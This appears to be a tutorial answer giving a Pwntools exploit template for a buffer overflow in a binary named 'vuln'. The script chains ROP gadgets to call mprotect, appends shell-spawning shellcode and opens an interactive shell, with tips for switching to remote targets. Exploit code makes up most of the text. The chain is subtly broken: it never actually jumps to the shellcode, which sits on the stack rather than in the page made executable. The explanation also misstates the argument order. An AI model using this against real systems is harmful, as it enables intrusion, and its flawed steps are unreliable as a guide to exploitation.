Below is an example of how you might write a Pwntools exploit script against a vulnerable binary that uses a buffer overflow to call mprotect in order to mark a memory region as executable so that shellcode (or ROP) can run. (Keep in mind that all addresses, offsets, and gadgets must be adjusted to your own binary.) This example also shows how to attach GDB for debugging.
Let’s assume:
- The binary is called
vuln.
- The vulnerable buffer overflow offset is 40 bytes (you’ll have to determine that yourself, e.g. with cyclic patterns).
- You can call the
mprotect function (by using its PLT entry or the actual address).
- You have useful ROP gadgets: one for
pop rdi; ret, one for pop rsi; ret and one for pop rdx; ret.
- You want to mark a writable region (for example, the binary’s BSS section) as RWX and then jump into shellcode that spawns a shell.
Below is an annotated example script:
#!/usr/bin/env python3
from pwn import *
# Set up binary and context
binary = './vuln'
context.binary = binary
elf = ELF(binary)
# Optionally, load a libc if needed
# libc = ELF('./libc.so.6')
# Start the process (or use remote() if exploiting a remote service)
p = process(binary)
# Attach GDB with an initial gdbscript, useful during development
gdbscript = """
break main
continue
"""
gdb.attach(p, gdbscript=gdbscript)
# ============================================================
# Step 1: Determine the buffer overflow offset.
# (Here, we assume the offset is 40 bytes. Adjust accordingly!)
offset = 40
# ============================================================
# Step 2: Build the ROP chain to call mprotect.
# mprotect(void *addr, size_t len, int prot);
# We need three gadgets to set up its arguments:
# pop rdi; ret --> for the first argument (addr)
# pop rsi; ret --> for the second argument (len)
# pop rdx; ret --> for the third argument (prot)
rop = ROP(elf)
# Find the gadgets.
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
# Get mprotect address (from PLT, for example).
mprotect_addr = elf.symbols['mprotect']
# ============================================================
# Calculate the region to mark as executable.
# Often you choose a writable section that also appears in your payload,
# like the .bss section. We need a page‐aligned address.
page_size = 0x1000
data_addr = elf.bss() # Base of BSS.
aligned_addr = data_addr & ~(page_size - 1) # Align it downward to the page boundary.
# Set the length (for simplicity, one page; adjust if needed).
length = 0x1000
# Set protection flags to PROT_READ | PROT_WRITE | PROT_EXEC (i.e. 7).
prot = 7
# ============================================================
# Build the payload.
payload = b'A' * offset
# ROP chain to call mprotect(aligned_addr, length, prot)
payload += p64(pop_rdi)
payload += p64(aligned_addr) # Argument 1: address (page aligned)
payload += p64(pop_rsi)
payload += p64(length) # Argument 2: length (number of bytes)
payload += p64(pop_rdx)
payload += p64(prot) # Argument 3: protection flags
payload += p64(mprotect_addr) # Now call mprotect
# After mprotect returns, we jump to our shellcode that we place after the ROP chain.
# For example, generate a shell-spawning shellcode.
shellcode = asm(shellcraft.sh())
payload += shellcode
# ============================================================
# Send the payload. You might have to adjust your interaction method.
p.sendline(payload)
# Pass control to an interactive shell.
p.interactive()
Explanation
-
GDB Attachment:
The script attaches GDB right after launching the process. This is useful during development so you can step through your exploitation and verify that the ROP chain is working.
-
Overflow Offset:
We use 40 bytes of padding ("A" * offset) to reach the saved return pointer. (You should confirm this offset using tools such as Pwntools’ cyclic patterns.)
-
ROP Chain for mprotect:
We push the required arguments in reverse order. First, we load the address (aligned BSS), then the length (0x1000), and finally the protection flags (7 for RWX) into the appropriate registers using gadgets.
-
Shellcode Execution:
After mprotect returns (marking our memory as executable), control flow continues to our shellcode that we appended to the payload.
Customize for Your Environment
-
Offsets & Gadgets:
Use tools such as ROPgadget or Pwntools’ built-in ROP functionality to verify you have the needed gadgets.
-
Memory Region:
Ensure that the address you’re mprotect-ing (here the BSS) is where your shellcode resides (or you adjust your payload accordingly).
-
Remote Exploitation:
If the binary is running remotely, change the process creation (using remote(host, port)) and remove or conditionally disable the GDB attachment.
This script gives a template to build a mprotect-based exploit using Pwntools and GDB. Modify the addresses, offsets, and payload parts to suit your target binary. Happy hacking!